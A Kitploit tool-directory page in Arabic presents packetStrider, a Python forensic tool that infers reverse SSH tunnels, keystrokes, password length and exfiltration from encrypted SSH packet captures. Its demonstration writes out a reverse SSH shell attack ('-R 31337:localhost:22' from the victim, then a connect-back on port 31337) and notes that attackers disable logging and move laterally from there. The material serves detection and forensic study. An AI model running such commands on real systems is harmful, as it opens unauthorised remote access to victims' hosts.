Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
packetStrider — أداة تحقيق جنائي في حزم الشبكات لبروتوكول SSH | Kitploit
أدوات/GitHubGitHub/benjeems/packetstrider
التقاط وتحليل الحزمتحليل الشبكة الجنائيالتحقيق الجنائي الرقمياختبار الاختراقتعلم الآلةكشف التسللالفريق الأحمركشف الشذوذ
GitHubbenjeems/packetstrider

packetStrider

أداة تحقيق جنائي في حزم الشبكات لبروتوكول SSH

عرض المستودع
25439منذ 6 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Packet Strider (v0.21)

شعار سترايدر

ملخص

packetStrider لـ SSH هي أداة تحليل حزم جنائية تهدف إلى تقديم رؤى قيمة حول طبيعة حركة مرور SSH، وتسليط الضوء على زوايا حركة مرور شبكة SSH حيث كانت كنوز المعلومات القيمة مخبأة سابقًا في الظلام.

المشكلة التي تهدف packet strider للمساعدة فيها (أو لماذا؟)

من الواضح أن SSH مشفر، ومع ذلك لا تزال المعلومات السياقية القيمة موجودة داخل حركة مرور الشبكة يمكن أن تساهم في TTPs والنية والنجاح وحجم الإجراءات على الأهداف. قد توجد حتى مواقف لا تتوفر فيها السياقات القيمة أو يتم حذفها من المضيفين، وبالتالي فإن وجود التقاط شبكة سلبي غير قابل للتغيير أو التعديل يوفر سياقًا جنائيًا إضافيًا. "الحزم لا تكذب."

بشكل منفصل عن السياق الجنائي، يمكن أيضًا استخدام تنبؤات packet strider بطريقة نشطة، على سبيل المثال لرفض/إعادة تعيين الاتصالات الأمامية إذا تم توقع ميزة بدء جلسة SSH عكسية موجهة بالداخل، حتى قبل تقديم المصادقة العكسية.

التقنيات العامة لـ packet strider (أو كيف؟)

  • تبني مجموعة غنية من الميزات على شكل إطارات بيانات pandas. تم تصميم أكثر من 40 ميزة من بيانات وصف الحزمة مثل محتوى رسالة بروتوكول SSH والإحصائيات الطبيعية والاتجاه والحجم وزمن الوصول وميزات النافذة المنزلقة.
  • تتجول عبر مجموعة الميزات هذه عدة مرات باستخدام نوافذ منزلقة (مستوحاة من الشبكات العصبية التلافيفية) للتنبؤ بـ:
    • استخدام الخيار -R في الجلسة الأمامية - وهذا ما يمكّن من إنشاء اتصال عكسي لاحقًا في الجلسة. يتم اكتشاف هذا الأثر في وقت مبكر جدًا من الجلسة، مباشرة بعد مصادقة الجلسة الأمامية. هذه هي أول علامة تحذير متاحة على أن الجلسات العكسية ممكنة.
    • بدء جلسة SSH العكسية، يمكن أن يحدث هذا في أي نقطة (مبكرة أو متأخرة) في الجلسة الأمامية. يتم اكتشافه قبل مصادقة الجلسة العكسية بنجاح. هذه هي علامة التحذير الثانية، حيث تم طلب جلسة عكسية وإعدادها للمصادقة.
    • نجاح و/أو فشل مصادقة الجلسة العكسية. هذه هي علامة التحذير الثالثة والأخيرة، بعد هذه النقطة تعلم أن شخصًا ما موجود على مضيفك داخل جلسة عكسية.
    • استخدام الخيار -A (إعادة توجيه وكيل SSH)، والذي يمكّن العميل من مشاركة مفاتيح SSH الخاصة المحلية مع الخادم. تعتبر هذه الوظيفة خطيرة بشكل عام. المراجع: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident https://skylightcyber.com/2019/09/26/all-your-cloud-are-belong-to-us-cve-2019-12491/ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12491
    • جميع التنبؤات وتقارير البيانات الوصفية على أساس كل دفق.
    • بشري أو مبرمج، بناءً على فروق التوقيت.
    • هل الخادم معروف بالفعل للعميل؟ أم كانت هذه هي المرة الأولى التي يتم فيها إجراء اتصال بينهما. يتم ذلك من خلال فروق الحزم المرتبطة بـ known_hosts.
    • ما إذا تم استخدام شهادة عميل أو مصادقة بكلمة مرور، وما إذا كان طول كلمة المرور 8 أحرف أو أقل.
    • ضغطات المفاتيح، ضغط مفتاح الحذف، ضغطات مفتاح الإدخال (النسخ واللصق والأعلى/الأسفل يعتمد على الظروف/تجريبي).
    • تنبؤات حركة البيانات للتصدير/التسريب في كل من الجلسات الأمامية والعكسية.
    • يعمل على الجلسات التفاعلية وكذلك تطبيقات نقل ملفات SSH القائمة على الملفات (مثل scp، putty، cyberduck إلخ).

البدء

تم استخدام Python3، وستحتاج إلى الوحدات التالية (يعتمد على الظروف مع python2)

pip3 install pandas matplotlib pyshark

الاستخدام:

python3 packetStrider-ssh.py -h

المخرجات:

root@kitploit:~
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
                             [-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
                             [-w WINDOW] [-s STRIDE]

packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
feature set from packet metadata such SSH Protocol message content, direction,
size, latency and sequencing. It performs pattern matching on these features,
using statistical analysis, and sliding windows to predict session initiation,
keystrokes, human/script behavior, password length, use of client
certificates, context into the historic nature of client/server contact and
exfil/infil data movement characteristics in both Forward and Reverse sessions

optional arguments:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  pcap file to analyze
  -n NSTREAM, --nstream NSTREAM
                        Perform analysis only on stream n
  -m, --metaonly        Display stream metadata only
  -k, --keystrokes      Perform keystroke prediction
  -p, --predict_plot    Plot data movement and keystrokes
  -z ZOOM, --zoom ZOOM  Narrow down/zoom the analysis and plotting to only
                        packets "x-y"
  -d DIRECTION, --direction DIRECTION
                        Perform analysis on SSH direction : "forward",
                        "reverse" OR "both"
  -o OUTPUT_DIR, --output_dir OUTPUT_DIR
                        Directory to output plots
  -w WINDOW, --window WINDOW
                        Sliding window size, # of packets to side of window
                        center packet, default is 2
  -s STRIDE, --stride STRIDE
                        Stride between sliding windows, default is 1

مثال

ملف pcap "forward_reverse.pcap" هو من TTP شائع لـ Reverse SSH shell، وهو المفضل لدى فرق الاختراق في كل مكان. على وجه التحديد، تم استخدام الأوامر التالية لإبراز قدرات packet strider بطريقة بسيطة:

  • اتصال أمامي من الضحية

    • الأمر للجلسة الأمامية كان ssh [email protected] -R 31337:localhost:22 الذي يربط المنفذ المحلي 31337 جاهزًا لاتصال SSH العكسي مرة أخرى إلى جهاز الضحية. يمكن تحقيق هذا الاتصال بطرق عديدة بما في ذلك يدويًا، أو عن طريق RCE، أو SSRF، أو شكل من أشكال الثبات. لغرض هذا العرض التوضيحي، إنها جلسة أمامية قياسية يدوية.
    • لم تكن هذه هي المرة الأولى التي يرى فيها العميل الخادم، نرى ذلك لأن الفرق للحزم ذات الصلة كان صغيرًا جدًا، وكان بصمة مفتاح الخادم موجودة بالفعل في known_hosts الخاصة بالعميل، لذلك لم يُطلب من المستخدم إضافتها - مما كان سيزيد من زمن انتقال الحزم.
    • محاولتا تسجيل دخول متتاليتان فاشلتان بكلمة مرور من قبل إنسان، تتبعهما تسجيل دخول ناجح بكلمة مرور مكونة من 8 أحرف أو أكثر.
    • تم كتابة ls في الجلسة الأمامية بهذا التسلسل: 'l' 'w' 'w' 'back-space' 'back-space' 's' ثم enter. يتم تصنيف الحجم الإجمالي للبيانات المنقولة عبر السلك (كناتج ls) على أنه تسريب، نظرًا لأنه وارد.
  • الآن على جهاز المهاجم (الخادم)، يتم بدء شل عكسي مرة أخرى إلى الضحية:

    • ssh victim@localhost -p 31337. في هذه النقطة، والتي تكون حتى قبل بدء عملية المصادقة، حدد packet strider بدء جلسة SSH العكسية، عند الحزمة 72.
    • الآن لدى المهاجم شل عكسي على مضيف الضحية. من هنا يمكنهم إيقاف إعدادات السجل، وتشغيل أي حركة جانبية أو عمليات تخريبية يرغبون بها. الأمثلة البسيطة في هذا العرض هي استطلاع أولي للمستخدم.
    • يتم تشغيل last على شكل ضغطات مفاتيح 'l' 'a' 's' 'r' 'delete' 't' 'enter'
    • يتم تشغيل who على شكل 'w' 'h' 'o' 'enter'
    • يتم تشغيل exit على شكل 'e' 'x' 'i' 't'
  • ثم أخيرًا مع الجلسة الأمامية، يتم إغلاق الجلسة، فقط لإظهار أن اكتشاف ميزة SSH الأمامية لا يزال يعمل.

يتم حفظ حركة المرور من هذا النشاط في tcpdump.pcap والآن حان الوقت لتشغيل Packet Strider.

python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

مخرجات الشاشة

يوضح هذا الرسم البياني جدولًا زمنيًا للتنبؤات الرئيسية (تمت إضافة تعليقات توضيحية هنا) الجدول الزمني لضغطات المفاتيح

يوضح هذا الرسم البياني بعض إحصائيات النافذة، مفيدًا للتعمق وتجربة الميزات. إحصائيات حزم حركة البيانات

يوضح هذا الرسم البياني مدرجًا تكراريًا بسيطًا مدرج تكراري بسيط للحزم

الإلهام

تم تنفيذ هذا المشروع كإثبات مفهوم شخصي، كوسيلة لي للممارسة مع بعض مكتبات علوم البيانات في Python، وقد كان مستوحى بشدة من دراساتي في Coursera في التعلم الآلي وعلوم البيانات، وخاصة مكتبة pandas والطريقة التي "تتجول" بها الشبكات العصبية التلافيفية (CNN) من خلال مجموعات بكسلات الصورة باستخدام نوافذ منزلقة لاكتشاف ميزات معينة بداخلها.

نصائح

يقوم Packet Strider بقدر هائل من "التجوال" في وضع السعة الكاملة. قد يؤدي ذلك إلى استخدام كبير للموارد إذا كان ملف pcap كبيرًا، أو بشكل أكثر دقة إذا كان هناك العديد من الحزم في ملف pcap. إليك بعض النصائح لتسريع العمل، وهي مفيدة بشكل خاص كتشغيل أولي على سبيل المثال فقط لمعرفة ما إذا كان هناك نشاط SSH عكسي متوقع، ثم إضافة وظائف إذا كنت ترغب في ذلك.

  • تأكد من تشغيل أحدث التصحيحات للوحدات التي تقوم ببعض الأعمال الشاقة، مثل pyshark/tshark و pandas و matplotlib.
  • الخيار -p --predict_plot هو العملية الأكثر كثافة. فكر في التشغيل فقط مع الإخراج إلى الطرفية، ثم انظر ما إذا كنت ترغب في رسم ذلك.
  • استخدم الخيار -m --metaonly. هذا يسترد فقط البيانات الوصفية عالية المستوى مثل أسماء البروتوكولات وبيانات HASSH. يمكن أن يكون مفيدًا لتحديد بسرعة ما إذا كنت تتعامل مع جلسة تفاعلية باستخدام OpenSSH أو مع عميل نقل ملفات مثل Cyberduck.
  • قم بترشيح ملف pcap مسبقًا لحركة مرور SSH فقط.
  • قم بترشيح ملف pcap مسبقًا للدفق الذي تريده، والذي قد تكون تعلمته من التشغيل السابق مع الخيار السريع -m --metaonly. يمكنك فحص الدفق "NSTREAM" فقط باستخدام الخيار "-n NSTREAM"، أو يمكنك الترشيح المسبق باستخدام wireshark إلخ.
  • قد تكون هناك أوقات تحدد فيها شيئًا مثيرًا للاهتمام في مجموعة فرعية من مجموعة حزم كبيرة جدًا. هنا يمكنك استخدام ميزة التكبير/التصغير لفحص ورسم الحزم فقط في المنطقة التي تهتم بها. استخدم -z ZOOM, --zoom ZOOM لهذا الغرض. مثال -z 100-500
  • في معظم الأوقات ستكون مهتمًا بفهم نشاط ضغطات المفاتيح، لذلك على الرغم من أن عدم استخدام الخيار -k سيوفر سرعة المعالجة، إلا أنه يعني أيضًا أنك لن تحصل على هذه الرؤية القيمة.

المهام المستقبلية

  • المزيد من البروتوكولات!
  • النظر في تعدد الخيوط ومعرفة أين يمكن أن يساعد ذلك في سرعة المعالجة.
  • تحسين كفاءة البرنامج النصي، خاصة أوقات الرسم.
  • تحسين مؤشر اللصق.
  • تحسين مؤشر مفتاح 'up/down'.
  • إضافة تعليقات توضيحية للرسوم البيانية باستخدام imagemagick أو ما شابه.
  • تحسين وظيفة التقرير، الكتابة إلى القرص.
  • مؤشر المفتاح العكسي متحفظ بسبب تغليف الحزمة قد يؤدي إلى الإبلاغ عن ضغطتين. هذه المشكلة غير موجودة لضغطات المفاتيح الأمامية، حيث تم معالجة ترتيب الحزم في حالة وصولها خارج الترتيب. فحص الخيارات هنا.
  • نقله إلى golang من أجل السرعة.
  • وضع الوقت الحقيقي.
  • فحص تأثير توجيه المنافذ المحلية الإضافية عبر الاتصال الأمامي.

إخلاء مسؤولية

استخدم على مسؤوليتك الخاصة. انظر شروط الترخيص.

تنزيل الأداة
  • exit